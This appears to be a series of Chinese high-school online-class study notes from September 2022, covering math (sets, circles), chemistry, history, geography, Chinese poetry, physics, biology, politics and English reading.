  The guy next to Han Jing tried to talk to her the whole time.
4. What did Han Jing learn from her first day at senior
  
  I feel much more confident andI think that tomorrow will be a great day.

Step 4. Post-Reading

Step 5. Exercises

数学

集合的概念（一）

我们已经接触过一些集合： 1.将下列数字填入相应的集合： $1.1、{3\over 4}、\sqrt{5}、0、π、-2、3.14、7$ 自然数集合、有理数集合 2.圆的定义：平面内到定点的距离等于定长的点的集合.

集合的定义

集合定义的理解

是一定范围内的确定的对象；
是不同的对象；
是这些对象的全体.

归纳总结 一般地，我们把研究对象统称为元素. 通常用小写拉丁字母a,b,c,...来表示. 我们把一些元素组成的总体叫做集合(简称为集). 通常用大写拉丁字母A,B,C,...来表示. 问题：组成集合的元素一定是数吗？ 组成集合的元素可以是物、数、图、点等，它具备怎样的性质呢？

集合中元素的性质

所有的“帅哥”能否构成一个集合？由此说明什么？

不能. 其中的元素不确定

集合中的元素是确定的

“帅”是一个含糊不清的概念，具有相对性，多么“帅”才算“帅”？没有明确的标准，也就是说，是一些不能够确定的对象．因此，不能构成集合．

由1,3,0,5,︱-3 ︳这些数组成的一个集合中有5个元素，这种说法正确吗？

不正确.集合中只有4个不同元素1，3，0，5 .

集合中的元素是互异的
高一（5）班的全体同学组成一个集合，调整座位后这个集合有没有变化？

集合没有变化

集合中的元素是没有顺序的

两个集合中，元素完全一样，则称两集合相等.

通过以上的学习你能给出集合中元素的特性吗？ 确定性、互异性、无序性

元素和集合的关系

已知下面的两个实例：（1）用A表示高一(3)班全体学生组成的集合. （2）用a表示高一(3)班的一位同学，b表示高一(4)班的一位同学.

思考：那么a，b与集合A分别有什么关系? a是集合A中的元素, b不是集合A中的元素

归纳总结

元素a与集合A的关系如果a是集合A的元素，就说a属于集合A，记作a∈A ；如果a不是集合A中的元素，就说a不属于集合A，记作a∉A. 属于符号和不属于符号具有方向性，左边是元素右边是集合。

学习集合与元素的概念后，为了方便书写，数学中规定了一些常用数集及其记法：

常用的数集	自然数集	正整数集	整数集	有理数集	实数集
记法	N	N*或N＋	Z	Q	R

集合的表示方法

列举法

**思考1：**地球上的四大洋组成的集合如何表示？ **【提示】**可以这样表示： {太平洋，大西洋，印度洋，北冰洋}.

列举法

思考2: 方程（x+1)(x+2)=0的所有根组成的集合又如何用列举法表示呢？ 【提示】 {-1,-2}

归纳总结

通过思考以上问题大家能总结归纳出列举法的概念吗？ 把集合的元素一一列举出来，并用花括号“{ }” 括起来表示集合的方法叫做列举法. 大括号不能缺失 **注意：**元素确定无序互异 元素间要用逗号隔开.

a与{a}有什么区别？ a是一个元素 {a}是一个集合

归纳升华

【总结提升】由于元素完全相同的两个集合相等，而与列举的顺序无关，因此集合可以有不同的列举方法.例如，例1（1）可以表示为A={9,8,7,6,5,4,3,2,1,0}

描述法 思考深化

由于小于10的实数有无穷多个，而且无法一一列举出来，因此这个集合不能用列举法表示．但是可以看出，这个集合中的元素满足性质：（1）集合中的元素都小于10. （2）集合中的元素都是实数．这个集合可以通过描述其元素性质的方法来表示，写作: {x∈R|x<10} 我们可以把奇数集合表示为{x|x=2k+1,x∈Z} 还可以把奇数集合表示为{x|x=2k-1,x∈Z} 又如所有偶数的集合怎样表示？ {x∈Z|x=2k,k∈Z}

描述法：用这个集合所含元素的共同特征表示集合的方法．

注意：如果从上下文的关系来看， x∈R ，x∈Z是明确的，那么x∈R ，x∈Z 可以省略，只写元素x. 例如 { x∈R | x<10 }= { x | x<10 } { x∈Z | x=2k, k∈Z} = { x | x=2k, k∈Z}

归纳升华

**思考：**你能说出列举法和描述法的优缺点吗？

	优点	缺点
列举法	直观、明了	不易看出元素所具有的属性，且有些集合不能用列举法表示
描述法	把集合中元素所具有的性质描述出来，具有抽象性、概括性、普遍性的特点	不易看出集合的具体元素

课堂小结

集合的概念;
集合元素的性质:确定性，互异性，无序性
数集及有关符号
集合的表示方法
元素与集合的关系

集合的概念（二）

数学学科素养

数学抽象：集合概念的理解，描述法表示集合的方法；
逻辑推理：集合的互异性的辨析与应用；
数学运算：集合相等时的参数计算，集合的描述法转化为列举法时的运算；
数据分析：元素在集合中对应的参数满足的条件；
数学建模：用集合思想对实际生活中的对象进行判断与归类

题型一集合的含义

解题方法（判断一组对象能否组成集合的标准）

判断一组对象能否组成集合，关键看该组对象是否满足确定性，如果此组对象满足确定性，就可以组成集合；否则，不能组成集合．同时还要注意集合中元素的互异性、无序性．

题型二元素与集合的关系

解题方法（判断元素与集合关系的两种方法）

(1)直接法:如果集合中的元素是直接给出，只要判断该元素在已知集合中是否出现即可. (2)推理法:对于一些没有直接表示的集合，只要判断该元素是否满足集合中元素所具有的特征即可，此时应首先明确已知集合中的元素具有什么特征.

题型三集合中元素的特性及应用

解题方法（根据集合中元素的特性求解字母取值(范围)的3个步骤）

题型四用列举法表示集合

解题方法（用列举法表示集合的三个步骤）

求出集合的元素；
把元素一一列举出来，且相同元素只能列举一次；
用花括号括起来。

题型五用描述法表示集合

解题方法（描述法表示集合的2个步骤）

题型六集合表示法的综合应用

解题方法(集合表示法中元素与集合的关系)

若已知集合是用描述法表示的，理解集合的代表元素和集合属性是关键；
若已知集合是用列举法表示的，把握元素的共同特征是关键；

题型七集合含义的拓展

解题方法（认识集合含义的2个步骤）

(1)一看代表元素:例如{x|p (x) }表示数集，{(x, y)|y=p(x)}表示点集. (2)二看条件:即看代表元素满足什么条件(公共特性).

化学

电解质

1.电解质

在水溶液或熔融态下能够导电的化合物

2.电解质导电的条件

（1）一般来说，对于NaOH、KCl等可溶性的碱和盐，在水溶液和熔融状态都可以导电；（2）对于难溶性的碱、盐、金属氧化物，如Mg(OH)2、BaSO4、Fe2O3，因为这些物质难溶于水，所以它们只能在熔融状态才可以导电；（3）像HCl、H2SO4等酸只能在水溶液才可以导电。

注意电解质与导电性之间没有必然关系：（1）电解质不一定都能导电：如NaCl固体、HCl气体；（2）能导电的物质不一定是电解质：如石墨、金属单质、溶液。

3.非电解质

在水溶液和熔融态下均不导电的化合物

注意（1）电解质在“水溶液”里或“熔融状态”下能导电，二者具备其一即可；（2）非电解质在“水溶液”里和“熔融状态”下不能导电，二者需同时满足；（3）电解质和非电解质都是化合物，单质和混合物既不是电解质，也不是非电解质；（4）电解质与非电解质的本质区别是看化合物自身在熔融状态下或在水溶液中能否发生电离，而溶液的导电只是一个表面现象。（5）AgCl、BaSO4等难溶盐在水中的溶解度极小，不能导电，但这些物质在熔融状态下能导电，在水中溶解的部分也能完全电离，故属于电解质。（6 )溶液导电性与自由移动的离子浓度有关，离子浓度越大，导电能力越强。

思考与交流

（1）金属Cu、稀盐酸都能导电，请问金属Cu、稀盐酸属于电解质吗？ 都不属于，因为金属Cu是单质，稀盐酸是混合物，两者都不是化合物。 （2）判断盐酸、硫酸、稀硝酸、烧碱溶液是否为电解质或非电解质？ 盐酸、稀硝酸、烧碱溶液为混合物，既不是电解质，也不是非电解质；硫酸为电解质。 （3）CO2、NH3的水溶液能导电，那么CO2、NH3属于电解质吗？ 都不属于，因为电解质必须是自身能电离成自由移动离子的化合物。 （4）“一个物质如果不是电解质，就是非电解质”这种说法是否正确？ 错误，如单质和混合物既不是电解质也不是非电解质。

若给出一个物质（我们不知道它溶于水或熔融状态下能否导电），怎么判断其是否为电解质？

通过物质类别判断

电解质的电离

1.电离

电解质溶于水或受热融化时形成自由移动离子的过程。

电解质溶于水时是由于水分子的作用而电离熔融状态下是由于热能破坏化学键而电离成自由移动的离子都不是因为通电而电离

电离不需要通电

2.电离方程式

电解质的电离可以用电离方程式表示

为简便起见，用离子符号表示水合离子

原子团不能拆开写 遵循质量守恒和电荷守恒

酸：电离时生成的阳离子全部是氢离子（H+）的化合物

氢原子失去电子后，剩余1个质子构成的核，即氢离子。氢离子是“裸露”的质子，半径很小，易与水分子细合成水合氢离子，通常用H3O+表示。为了简便，也常把H3O+写作H+。

碱：电离时生成的阴离子全部是氢氧根离子（OH-）的化合物

碱：电离时生成的金属阳离子（或氨根离子）和酸根离子（或非金属离子）的化合物

课堂小结

历史

宏观印象：三国两晋南北朝是一个怎样的时代

“大一统秩序”的重生之路

一、“大一统秩序”的崩溃

思考：学者认为“西晋是低质量的统一”，结合教材和地图找出论据。

宗室争夺中央权力、少数民族内迁、北民流亡南迁导致政治动荡,秩序大乱

尽管分裂是这个时期的整体特点，但是社会并没有停滞不前，还表现出发展的趋势。 ——《新编中国史》

二、“大一统秩序”的再造

（一）经济格局的重整：区域开发 观察对比：汉代至魏晋南北朝的经济有什么变化？

南方经济有了明显发展

思考：南方经济得到开发的原因和成就？

民族迁徙和交融的结果、南方发展条件优越、统治者的开发和经营导致农业、手工业发展迅速

史料运用：利用考古资料，完善文献中对此时期经济特征的叙述。

（二）民族关系的发展：交融互鉴

观察研读:这幅屏风里还隐藏了什么历史信息？

提示：①司马金龙是北逃的东晋皇族，娶鲜卑公主为妻。②胡服：遮耳长帽、窄袖长裤、短靴③汉服：冠冕、广袖长袍、厚履

双向互动,胡汉互鉴

思考:西晋至十六国、北朝的民族关系是如何发展的

思考：孝文帝的汉化改革有何作用?

材料3：晋宋以来，号洛阳为荒土…长江以北，尽是夷狄。…昨至洛阳，始知衣冠士族，并在中原。礼仪富盛，人物殷富。庆之因此羽仪服式悉如魏法，江表士庶竞相模楷。 ——《洛阳伽蓝记》

材料4：孝文帝诏曰: “卿便至彼（南朝），勿存彼我。…不早当晚，会是朕物。——《魏书》

减小民族隔阂缓解民族矛盾、促进北魏经济发展和社会繁荣、为北方统一南方及隋唐盛世奠基

彰显中华一统意识

思考：两则材料中的矛盾之处说明了什么问题？

材料5：东魏、北齐出现了“鲜卑共轻中华朝士”的情况。西魏宇文泰不单恢复了胡族诸将的胡姓，还向汉人广赐胡姓。——叶炜《从王光、叱罗招男夫妇墓志论西魏北周二题》

民族交融在曲折中发展、汉化改革顺应民族交往交流交融的历史趋势

推动中华民族多元一体格局的发展

（三）政治变态的回归：皇权政治的强化

情境讨论：如果你是宋孝武帝，你会如何处理此事？

思考：十六国北朝政权发展呈现何种趋势？

材料8：后赵太子“使文武皆跪立”，成汉之主李寿“人有小过，辙杀以立威”。十六国北朝在“胡化”和“汉化”的交替之中，孕育出了强大的皇权。…北朝异族政权具有政治复兴更大动量，帝国以北朝为“出口”而走向隋唐盛世。——摘编自阎步克《波峰与波谷》

东晋士族专权皇帝垂拱

北方异族皇权强化、南朝士族衰落,皇权重振

隋唐大一统的皇权政治

“大一统秩序”的重生之路

地理

地球的形成与演化

地球的形成与演化简史

距今4570百万年地球形成,逐步演化至今。

原始地球的形成 距今4570百万年，地球形成。 46亿年以前，星云盘内物质经碰撞吸积，原始地球形成。

原始地表的形成距今4570百万年，地表随之形成。 密度大的物质逐渐聚集到地球的中心，形成了地核，密度小的物质向上形成了地幔和地壳。

原始海洋的形成 距今4150年，海洋形成 广泛发生的火山喷发，释放出水蒸汽，二氧化碳等气体，构成了原始的大气层。随地表温度降低水汽凝结降雨，汇聚到地面形成了原始海洋。

原始生物的形成 距今3850百万年，地球生命出现。 原始生命物质形成于大约距今38.5亿年前的原始海洋。距今约5.4亿年前地球出现生命大爆发。180万年前人类诞生。

知识小结

地球的演化过程

距今4570百万年地球形成，逐步演化至今。

生物演化(植物) 地球生物演化经历了从低级到高级，从简单到复杂的过程。从空间分布来看，生物演化经历了由海洋向陆地扩展的过程。

生物演化(动物) 地球生物演化经历了从低级到高级，从简单到复杂的过程。从空间分布来看，生物演化经历了由海洋向陆地扩展的过程。

生物演化在生物演化过程中，伴随着一些生物的衰退和灭亡，是另一些生物的出现和兴盛。如恐龙与哺乳动物

海陆变迁地质历史上曾经发生过多次海陆变迁，大约3亿~2亿年前形成泛大陆。大约距今2亿年前。泛大陆分裂形成两个大陆(冈瓦纳大陆和劳亚大陆)，约6500万年前，七大洲和四大洋的轮廓初步显现，目前已形成七大洲，四大洋的海陆格局。

构造运动 概念:由地球内部力量引起的地壳乃至岩石圈的变位、变形 在地球历史上曾发生过多次构造运动，构造运动导致了地形和海陆的变迁，对气候的变化，生物的演化。以及一些矿物质的形成具有重要影响。 发生在中生代的构造运动导致了泛大陆的解体; 发生在晚新生代的构造运动导致了青藏高原和喜马拉雅山的形成。

青藏高原的形成及影响

矿产形成地质历史上出现了多个重要成矿期，如前寒武纪铁矿成矿期，古生代后期煤炭成矿期(重要成煤期)，中生代煤炭成矿期(主要成煤期)

矿产资源是经济和社会可持续发展的重要物质基础，是综合国力的重要组成部分。矿产，泛指一切埋藏在地下(或分布于地表的、或岩石风化的、或岩石沉积的)可供人类利用的天然矿物或岩石资源。矿产可分为金属、非金属、可燃有机等类别，是不可再生资源。那么，矿产资源是如何形成的呢？

伴随着构造运动、海陆变迁、生物演化和气候变化，地质历史上出现了多个重要的成矿期，如 前寒武纪铁矿成矿期（距今25亿至23亿年前后），大量的铁、金、镍、铬等矿藏出现在这一时期的地层中； 古生代后期煤炭成矿期； 中生代煤炭成矿期等。

煤炭：暖湿的陆生环境石油：温暖的浅海环境

知识小结

<h1 style="font-size:20px">【今日网课结束】</h1> 因设备原因导致此次更新以往日更新较晚，请大家多多包涵

学习笔记丨网课第十天

Tue, 13 Sep 2022 00:00:00 GMT

开学第十课

语文

易错字填空

《归园田居》

羁鸟恋旧林开荒南野际

榆柳荫后檐 暧暧远人村依依墟里烟鸡鸣桑树颠 久在樊笼里

《短歌行》

譬如朝露 慨当以慷 青青子衿 悠悠我心 呦呦鹿鸣食野之苹

我有嘉宾何时可掇 契阔谈讌 乌鹊南飞

梦游天姥吟别

念奴娇·赤壁怀古

诗人简介

苏轼（1036—1101） 北宋文学家、书画家、美食家。字子瞻，号东坡居士。一生仕途坎坷，学识渊博，天资极高，诗文书画皆精。其文汪洋恣肆，明白畅达，与欧阳修并称“欧苏”，为“唐宋八大家”之一；诗清新豪健，善用夸张、比喻，艺术表现独具风格，与黄庭坚并称“苏黄”；词开豪放一派，对后世有巨大影响，与辛弃疾并称“苏辛”；书法擅长行书、楷书，能自创新意，用笔丰腴跌宕，有天真烂漫之趣，与黄庭坚、米芾、蔡襄并称“宋四家”；画学文同，论画主张神似，提倡“士人画”。著有《苏东坡全集》和《东坡乐府》等。

任务活动一诵读全诗，理解词义

念奴娇 · 赤壁怀古(苏轼) 大江/东去，浪/淘尽↘ ，千古/风流∕人物。故垒西边，人道是↘，三国/周郎∕赤壁↘ 。乱石/穿空↗ ，惊涛/拍岸↗ ，卷起∕千堆雪↘。江山如画，一时/多少↘豪杰。遥想∕公瑾当年，小乔guān/初嫁了liǎo，雄姿/英发。羽扇纶巾，谈笑间，樯橹/灰飞烟灭。故国/神游，多情/应笑我，早生/华huā发↘。人生如梦，一尊/还huán酹/江月。

本词写了哪一个三国人物？写了哪件著名的历史事件？ 三国是哪三国？ 吴、魏、蜀的领袖分别是谁？ 周瑜是谁的下属？ 除了貂蝉，三国还有两位著名的美人，你知道她们是谁？ 大、小乔这样著名的美女嫁给了谁？ 赤壁之战是哪两国打取了此战的胜利？

怀古诗的特点：

观眼前之景，历史之人，抒一己之情。

任务活动二赏眼前之景

乱石穿空 惊涛拍岸 卷起千堆雪

穿：山崖陡峭高

卷：波涛气势之大

波涛力度之大

写景的三句分别展现了景物什么样的特点？又是从哪些角度来写赤壁山水的？

任务活动三析历史人物

苏轼此时此景，想到了谁？怎样刻画人物的？

围绕赤壁可怀想的人物那么多，为什么苏轼独独怀念周瑜？其中寄寓了词人怎样的情感？

仰慕源自内心深处与他人的深刻比照

知人论诗

苏轼生活的仁宗至徽宗王朝是北宋危机不断加深的时期，于是政治改革和诗文革新都发生在这时，理想高远、才华横溢、但仕途坎坷的苏轼注定会成为文坛上的领导人物，他用豪放词风向婉约派提出挑战，为词坛注入一股“雄风”。
这首词写于元丰五年（1082）。苏轼（1037—1101），宋神宗元丰二年（1079），因与王安石政见不同，受小人陷害，因“乌台诗案”被捕入狱，差点丢了性命。后经多方营救，免于死刑，同年年底被贬到黄州，任黄州团练副使。1080年至他游览黄州城外的赤壁矶，1082年再次游览45岁的苏轼在游黄州赤壁时，词人面对赤壁遗迹，触景生情，吊古抒怀，思绪万千，吟唱出了这首千古绝唱。

3、围绕赤壁可怀想的人物那么多，为什么苏轼独独怀念周瑜？

理想与现实之间存在巨大反差，着力塑造周瑜的英雄形象，描述火烧赤壁的历史事件，是借对周瑜的仰慕，抒发自己功业无成的感慨。

任务活动四感一己情怀

"人生如梦"体现了词人怎样的情怀？

宋哲宗时，旧党当权，苏轼被召还为翰林学士,新党再度秉政后，他又被贬惠州，再贬儋州，后死于常州。京城——杭州——密州——徐州——湖州——黄州——登州——扬州——定州——惠州——儋州——常州。

黄州45岁被贬为黄州团练副使惠州59岁被贬惠州儋州62岁被贬儋州常州66岁卒于常州

贬官杭州： “我本无家更安住，故乡无此好湖山” 贬官黄州： “长江绕郭知鱼美，好竹连山觉笋香” 贬官惠州： “日啖荔枝三百颗，不辞常作岭南人”

苏轼总结自己一生： “问汝平生功业，黄州惠州儋州。”

扩展延伸

苏轼的这首词和他的人生经历给我们什么启示?

启示：面对逆境，要把眼光放长远一些，要把胸怀放宽广一些。

数学

圆

知识点梳理

圆的定义

圆的定义：平面内到定点的距离等于定长的点的轨迹(集合) .

圆心角定理. 在同圆或等圆中,相等的圆心角所对的弧相等,所对的弦也相等. 推论1 : 在同圆或等圆中,如果两条弧相等,那么它们所对的圆心角相等,且所对的弦也相等. 推论2 : 在同圆或等圆中,如果两条弦相等,那么它们所对的圆心角相等,且所对的弧也相等.
圆周角定理. 在同圆或等圆中,同弧或等弧所对的圆周角相等,都等于这条弧所对圆心角的一半. 推论3 : 半圆(或直径)所对的圆周角是直角, 90°的圆周角所对的弦是直径
弦切角定理. 弦切角的度数等于它所夹的弧的圆心角的度数的一半.
点与圆的位置关系.
直线与圆位置关系的判断方法. 如果圆O的半径为R，圆心O到直线l的距离为d.

直线l与圆O相交$\Leftrightarrow 0\leq d<R$；直线l与圆O相切$\Leftrightarrow d=R$；直线l与圆O相离$\Leftrightarrow d>R$
圆与圆位置关系的判断方法

已知，圆$O_1$与圆$O_2$的半径分别为$r_1$与$r_2$ 圆心$O_1$与圆心$O_2$之间的距离为$|O_1O_2|=d$

圆$O_1$与圆$O_2$外离$\Leftrightarrow d>r_1+r_2$ 圆$O_1$与圆$O_2$外切$\Leftrightarrow d=r_1+r_2$ 圆$O_1$与圆$O_2$相交$\Leftrightarrow |r_1-r_2|<d<r_1+r_2$ 圆$O_1$与圆$O_2$内切$\Leftrightarrow d=|r_1-r_2|$ 圆$O_1$与圆$O_2$内含$\Leftrightarrow 0\geq d<|r_1-r_2|$

公切线的条数
圆中弦长的求法

当直线l与圆相交时，设两个交点分别为A，B. 若直线l经过圆心，则AB为直径；若直线l不经过圆心，如图，连接圆心O和弦AB的中点M的线段OM垂直于这条弦AB，且在Rt△OMA中，OA为圆的半径r， OM为圆心到直线l的距离d， MA为弦长的一半，根据勾股定理，

可得$r^2-d^2=({ {AB}\over 2 })^2$

即$AB=2\sqrt{r^2-d^2}$
垂径定理及其推论

垂径定理：垂直于弦的直径平分这条弦，并且平分弦所对的弧
圆内接四边形

( 1 ) .圆内接四边形:四个点均在同-个圆上的四边形. ( 2 ) .圆内接四边形性质: ①.圆内接四边形的对角互补; 它的任意一个外角等于此角的内对角; ②.圆内接四边形的对应三角形相似; 相交弦定理; 托勒密定理.
圆幂定理

相交弦定理、切割线定理、割线定理统称为圆幂定理，它们解释了与圆油管的线段间的比例关系

典例题目

一、垂径定理的应用. 相关题目:例1、针对训练1、自主训练4、5、6、10.

例1如图，己知圆O的半径OB = 5cm，弦AB = 6cm，D是AB弧的中点，求弦BD的长度

答案：

二、圆周角与圆心角的应用.

相关题目:例2、针对训练2、自主训练2、4.

三、相交弦定理的应用.相关题目:例3、针对训练3、自主训练3、5、 7.

5.如图，已知AB是圆O的直径，CD⊥AB于点P，CD=8, AP:PB= 1:4，则圆O的半径等于？

答案：

四、切割线定理的应用.相关题目:例4、针对训练4、自主训练6、9.

例4.已知4B为圆O的直径，CD为垂直于AB的一条弦，垂足为E，弦AG交CD于点F. (1)求证: E，F，G，B四点共圆. (2)若GF = 2FA = 4，求线段AC的长

答案：

四、切割线定理的应用.

9.如图，圆O的直径AB的延长线与弦CD的延长线相交于点P，E为圆O上一点，AE弧与AC弧相等，DE交AB于点F. 求证: (1)O，C，D，F四点共圆. (2)PF·PO= PA·PB.

答案：

自主训练10. 如图，设圆$O_1$和圆$O_2$的半径分别为3和2，$O_1O_2=4$， A、B为两圆的交点试求两圆的公共弦AB的长度.

答案：

课堂小结

圆的定义,圆心角、圆周角、弦切角定理.
直线与圆的位置关系以及圆中弦长的求法.
垂径定理,圆内接四边形.
圆幂定理.

物理

速度的变化与加速度

v、△v、a的关系

思考与扩展

物体的速度大，加速度不一定大。物体的速度很小，加速度不一定很小。物体的速度为零，加速度不一定为零。
物体的速度变化大，加速度不一定大。
加速度为负，物体不一定做减速运动。
加速度不断减小，物体的速度不一定减小。加速度不断增大，物体的速度不一定增大。
物体速度大小不变，加速度不一定为零。
加速度方向不一定与速度方向在同一直线上。

v-t图像与加速度

v-t图像的意义

可以读出任意一个时刻对应的速度，也可以读出物体在任意一个速度时所对应的时刻;.
可以求出任意一段时间内的速度变化量;
速度的方向:

①速度图像在t轴上方，速度为正; ②速度图像在t轴下方，速度为负。

v-t图像的斜率

v-t图像的斜率表示物体的加速度。
v-t图像的斜率越大，说明加速度越大，物体速度变化的越快。
v-t图像的斜率为正，说明物体加速度方向与正方向一致，图像向上倾斜；
v-t图像的斜率为负，说明物体加速度方向与正方向相反，图像向下倾斜。

几种常见的v-t图像

①物体沿正方向做$v_0$≠0的匀减速直线运动 ②物体沿负方向做$v_0$=0的匀加速直线运动 ③代表物体沿正方向做a逐渐增大的加速直线运动 ④代表物体沿正方向做a逐渐减小的加速直线运动

物体的速度减小，而加速度也减小

课堂总结

生物

细胞中的糖类和脂质

糖类

糖都是甜的吗？

淀粉、糖原、纤维素不甜,但都是属于糖类物质。

甜的物质一定是糖类吗？

木糖醇、糖精(也称糖精钠)、甜蜜素都有甜味，但都不属于糖类物质。

**功能：**糖类是主要的能源物质。种类分子式
**元素组成：**C、H、O
种类：单糖、二糖、多糖多数糖类分子中 H:O = 2:1，因而糖类又称为“碳水化合物”，简写为（CH2O）。

01 细胞中的糖类

二糖 (C12H22O11)

(1)概念: 由两分子单糖脱水缩合而成的糖类。 (2)特征: 二糖一般需水解成单糖才能被细胞吸收 (3)种类:

二糖 (CHO)由两分子单糖脱水缩合形成

二糖必须水解成单糖才能被细胞所吸收。

多糖[(C6H10O5)n]

(1)概念: 由多个单糖脱水缩合而成的糖类。 (2)特征: 一般需水解成单糖才能被细胞吸收。 (3)种类:

生物体内的糖类绝大多数以多糖的形式存在。

淀粉、糖原、纤维素的基本单位都是葡萄糖，但为什么有的形成了淀粉，有的形成了糖原呢？

淀粉、糖原、纤维素的基本单位都是葡萄糖，但葡萄糖连接方式不同。

多糖[(C6H10O5)n]

几丁质（壳多糖）：C8H15O6N （C、H、O、N）基本单位: N-乙酰葡糖胺

[x] 存在于甲壳类动物和昆虫的外骨骼中。
[x] 真菌细胞壁的主要成分，不供能
几丁质能与溶液中的重金属离子有效结合，因此可用于废水处理；
可以用于制作食品的包装纸和食品添加剂；
可以用于制作人造皮肤；等等。

与生活的联系

健康讲堂

糖是生命活动的主要能源物质，是否摄入越多越好呢？

《中国居民膳食指南（2016）》提出的“控糖”建议是：控制添加糖的摄入量，每天摄入不超过50g，最好控制在25g以下。

关爱生命糖尿病人的饮食受到严格限制，包括米饭、馒头等主食也都需定量摄取，为什么？

总结

02 细胞中的脂质

**元素组成：**C、H、O，有的含有N、P
**种类：**脂肪、磷脂、固醇（胆固醇、性激素、维生素D）

特点： ①脂质分子中氧的含量远远低于糖类，但氢的含量更高 ②通常都不溶于水，而溶于脂溶性有机溶剂，如丙酮、氯仿、乙醚等。

脂肪：脂肪是脂质的一种，脂质存在于所有细胞中，是组成细胞和生物体的重要有机化合物。

人和动物中,脂肪主要分布在哪些部位? 皮下、大网膜和肠系膜等部位。某些动物还在特定的部位储存脂肪，如骆驼的驼峰。
脂肪含量较高的植物有?主要存在于哪些器官? 花生、油菜、向日葵、松子、核桃、蓖麻等植物,这些植物的脂肪多储存在它们的种子里。

脂肪

(1)脂肪的形成: 脂肪是由三分子脂肪酸与一分子甘油发生反应而形成的酯，即三酰甘油(又称甘油三酯)

(2)元素:C、H、O

植物脂肪大多数是含有不饱和脂肪酸，熔点低，不易凝固。

动物脂肪大多数是含有饱和脂肪酸，熔点高，易凝固。

(3)脂肪的功能

功能一:脂肪是细胞内良好的储能物质。

功能二:脂肪是良好的绝热体，起到保温的作用。

功能三:分布在内脏器官周围的脂肪具有缓冲和减压的作用。

磷脂

磷脂的结构
磷脂的作用: 是细胞膜及各种细胞器膜的重要成分。
磷脂的分布: 人和动物的脑、卵细胞、肝脏以及大豆的种子。

固醇

总结

03 细胞中的糖类与脂质相互转化

在科学研究和制药等领域，经常要进行动物细胞培养。体外培养动物细胞时，需要为细胞分裂和生长提供营养。绝大多数情况下，培养基中都会有葡萄糖。

讨论: 1.对于细胞培养来说，葡萄糖可能起什么作用? 葡萄糖是细胞生命活动所需的主要能源物质。 2.在培养脂肪细胞时，即便没有向培养基中添加脂肪，新形成的脂肪细胞中也会出现油滴。这说明什么? 这说明细胞可将葡萄糖转化为脂肪。

细胞中糖类和脂质的转化

吃糖多了会变胖，为什么? 糖在人体内可以转化成脂肪。

课堂小结

政治

伟大的改革开放

为什么说改革开放是破局之招?

1.改革开放的时代背景

政治因素：以阶级斗争为钢经济因素：经济发展落后，人民生活困难思想因素：比较保守和落后

2.改革开放的开启(p31)

时间、会议

1978年,党的十一届三中全会
内容

①重新确立了马克思主义的思想路线、政治路线和组织路线 ②确定把党和国家的工作重点转移到**社会主义现代化建设上来 ③作出实行改革开放的重大决策**
意义

实现了中华人民共和国成立以来党的历史上具有深远意义的伟大转折。开启了**改革开放和社会主义现代化建设新时期**。

为什么说改革开放是引领之招?

1.启动探索阶段(起步阶段)1978- -1992 (p32)

①农村改革率先取得突破，家庭联产承包制得以推行，乡.镇企业迅速发展

②1984年，党的十二届三中全会，标志着中国改革重点从农村转向城市，企业改革迈出重要步伐。

对内改革
我国全方位、多层次、宽领域的对外开放格局基本形成

2.发展阶段(新阶段) 1992- 2013 (p32)

改革开放逐步深化，并取得重大突破。

3.全面深化阶段2013年全今 (p32)

知识扩展明确我国改革的实质我国的改革是社会主义制度的自我完善和发展，改革生产关系中与生产力不相适应的部分，目的是调整生产关系使之适应生产力水平,而不是社会性质和社会制度的改变。

改革是中国的第二次革命,改革是一场解放生产力的革命,改革是社会主义制度的自我完善。

为什么说改革开放是制胜之招?

我国的改革开放取得哪些成就？原因是什么？
谈谈改革开放的重要意义是什么？

1. 中国的巨大变化

经济总量稳居世界第第二
国家治理体系现代化稳步推进
中国文化软实力影响世界
新时代人民生活有了新需要
美丽中国建设成效显著

改革开放取得巨大成就的原因是什么?

党的领导人民的奋斗

2. 改革开放的意义

(1)改变了中国、中华民族、中国人民、中国共产党的面貌； (2)中华民族迎来了站起来，富起来到强起来的伟大飞跃；中国特色社会主义迎来了从创立、发展到完善的伟大飞跃；中国人民迎来了从温饱不足到小康富裕的伟大飞跃； (3)改革开放是党和人民大踏步赶上时代的重要法宝； (4)是坚持和发展中国特色社会主义道路的必由之路； (5)改革开放是决定当代中国命运的关键一招；决定实现**“两个一百年”奋斗目标和中华民族伟大复兴的关键一招**。

对比几次伟大飞跃 (1)中国从几千年封建专制政治向人民民主的伟大飞跃一P24 中华人民共和国的成立 (2)中华民族从东亚病夫到站起来的伟大飞跃——P29 中华人民共和国的诞生、社会主义基本制度的确立和社会主义建设的全面展开 (3)中华民族迎来了从站起来、富起来到强起来的伟大飞跃，中国特色社会主义迎来了从创立、发展到完善的伟大飞跃,中国人民迎来了从温饱不足到小康富裕的伟大飞跃——P34 1978年以来,中国改革全面推进,对外开放向纵深发展

对外开放是我国的基本国策

改革开放只有进行时没有完成时 改革开放永远在路上

课堂小结

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第九天

Mon, 12 Sep 2022 00:00:00 GMT

开学第九课

英语

Thanks for Miss Luan' dedicated teaching and your earnest learning during the first period. Now, I will accompany you in the next period, and I hope we can get along wel!

dedicated adj. earnest adj. accompany vt.

Requirements for you:

Listen carefully!
Take notes timely!
Do the homework attentively!

timely adj./adv. attentively adv.(attention)

课外阅读

Mid-Autumn Festival

The Mid-Autumn Festival falls on the 15th of the eighth month of our Chinese lunar calendar (农历). As one of the traditional Chinese festivals, it has been enjoying great popularity in our country. Usually, no matter how far away or how busy we are, we will try to come home for the celebration. The moon that night looks the brightest in the whole lunar month. What we love most is the time we admire the full moon together. With the beautiful moon up in the sky, we sit together and eat moon cakes and fruit, sharing our stories. In addition to the traditional activities, we have a wider range (系列) of choices such as travelling and visiting oar relatives or friends.

falls is/happens Chinese lunar calender(中国农历) In addition to = besides

welcome unit

words and expression

阅读理解 passage 9

If people don't follow the garbage-sorting policy, A. they will have to stand by the bins B. they won't be allowed to throw trash away C. they won't be noticed D. they may face fines

para.3

These groups are represented (代表) by four different colors of trash bins-green, blue, red and gray. Those who fail to sort their trash correctly may be fined up to 200 yuan, Xinhua reported.

答案：D

According to the passage, which of the following cities have the same names for garbage groups? A. Beijing and Shanghai. B. Beijing and Qingdao. C. Shanghai and Qingdao. D. Qingdao and Wuhan.

para.4

Some cities like Shanghai and Qingdad sort their trash differently. These cities use four different groups wet, recyclable, harmful and dry. Although their names are different, the groups are actually the same. In fact, wet garbage in Shanghai is kitchen garbage in Bejing. And dry garbage is the same as other waste, China Youth Daily reported.

答案：C

